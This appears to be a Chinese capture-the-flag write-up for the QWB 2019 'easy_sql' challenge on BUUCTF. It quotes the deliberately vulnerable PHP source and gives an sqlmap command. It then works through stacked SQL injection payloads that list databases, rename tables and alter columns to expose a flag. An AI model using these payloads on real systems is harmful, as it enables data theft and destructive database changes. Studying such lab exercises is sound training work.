BUUCTF/强网杯2019 随便注.堆叠注入?
尝试注入发现过滤
preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
/i不区分大小写匹配,也过滤了.
sqlmap跑一波
python sqlmap.py -u "http://web16.buuoj.cn/?inject=3" -v 3 --risk 3 -D supersqli --tables –test-skip=where
能跑出数据库为surpersqli,但是因为过滤where的原因无法得到tables
image.png
分析一下源码
链接在这里:
https://github.com/CTFTraining/CTFTraining/blob/master/README.md
<html>
<head>
<meta charset="UTF-8">
<title>easy_sql</title>
</head>
<body>
<h1>取材于某次真实环境渗透,只说一句话:开发和安全缺一不可</h1>
<!-- sqlmap是没有灵魂的 -->
<form method="get">
姿势: <input type="text" name="inject" value="1">
<input type="submit">
</form>
<pre>
<?php
function waf1($inject) {
preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
}
function waf2($inject) {
strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}
if(isset($_GET['inject'])) {
$id = $_GET['inject'];
waf1($id);
waf2($id);
$mysqli = new mysqli("127.0.0.1","root","root","supersqli");
//多条sql语句
$sql = "select * from `words` where id = '$id';";
$res = $mysqli->multi_query($sql);
if ($res){//使用multi_query()执行一条或多条sql语句
do{
if ($rs = $mysqli->store_result()){//store_result()方法获取第一条sql语句查询结果
while ($row = $rs->fetch_row()){
var_dump($row);
echo "<br>";
}
$rs->Close(); //关闭结果集
if ($mysqli->more_results()){ //判断是否还有更多结果集
echo "<hr>";
}
}
}while($mysqli->next_result()); //next_result()方法获取下一结果集,返回bool值
} else {
echo "error ".$mysqli->errno." : ".$mysqli->error;
}
$mysqli->close(); //关闭数据库连接
}
?>
</pre>
</body>
</html>
$res = $mysqli->multi_query($sql);
发现语句,可能是堆叠注入可以通过;一次性执行多个语句
http://web16.buuoj.cn/?inject=1';show databases;#
image.png
测试成功爆出6个数据库
http://web16.buuoj.cn/?inject=1';use supersqli;show tables;#
image.png
http://web16.buuoj.cn/?inject=1';show columns from `words`;#
/?inject=222';show columns from `1919810931114514`;#
image.png
他既然没过滤 alert 和 rename,那么我们是不是可以把表改个名字,再给列改个名字呢。
先把 words 改名为 words1,再把这个数字表改名为 words,然后把新的 words 里的 flag 列改为 id (避免一开始无法查询)。
这样就可以让程序直接查询出 flag 了。
构造 payload 如下,然后访问,看到这个看来就执行到最后一个语句了。(改表名那里直接从 pma 拷了一个语句过来改- -)
/?inject=1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#
/?inject=1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#collate
用 1′ or ‘1’=’1 访问一下。
/?inject=1%27+or+%271%27%3D%271#
/?inject=1' or '1'='1
image.png
可用通过show查到数据库,当前数据库的表,盲注和报错注入也可以获取当前数据库名是supersqli
<pre style="margin: 0px; white-space: pre-wrap; overflow-wrap: break-word; padding: 0px; list-style-type: none; list-style-image: none; font-family: "Courier New" !important; font-size: 12px !important;">?inject=';show databases;
?inject=';show tables;</pre>
[图片上传中...(image-8d4295-1560508345709-2)]
可以用describe 命令查表有哪些字段
?inject=';describe tablename;
image
这里的payload不加` 还显示不出来,此时已经可以知道flag的位置了,但是没办法读出来
这时候要把 1919810931114514
表里命名成当前的表名words
,再用or '1'='1就能查到了
在php层面查询的时候固定语句一般是 select * from words where id = $id这种,数据库里面的变化php是管不到的
改名在mysql中是rename,语法为
rename table `当前表名` to `改后表名`;
但是又因为words中是存在列id,估计查询语句也会根据该字段进行查询,但是装有flag的表里面没有id字段,因此要用alter来添加,语法
alter table `表名` add(字段名 字段类型 NULL) #可为空
我们可以之前通过describe查看words
里面的id的字段类型,
是int,所以我们的alert可以写成这样
alter table `1919810931114514` add(id int NULL)
最终的payload如下
`?inject=';alter table `1919810931114514` add(id int NULL);rename table `words` to `tmp`;rename table `1919810931114514` to `words`;
先添加一个叫id字段,可以为空
再把words命名成任意名字
把1919810931114514
命名成word</pre>
最后用' or '1'='1 显示“当前表”的所有内容就能获取flag
参考:
https://www.zhaoj.in/read-5873.html
https://beiyuouo.github.io/2019/05/30/ctf-buuctf/
https://www.jianshu.com/p/c50ced83414d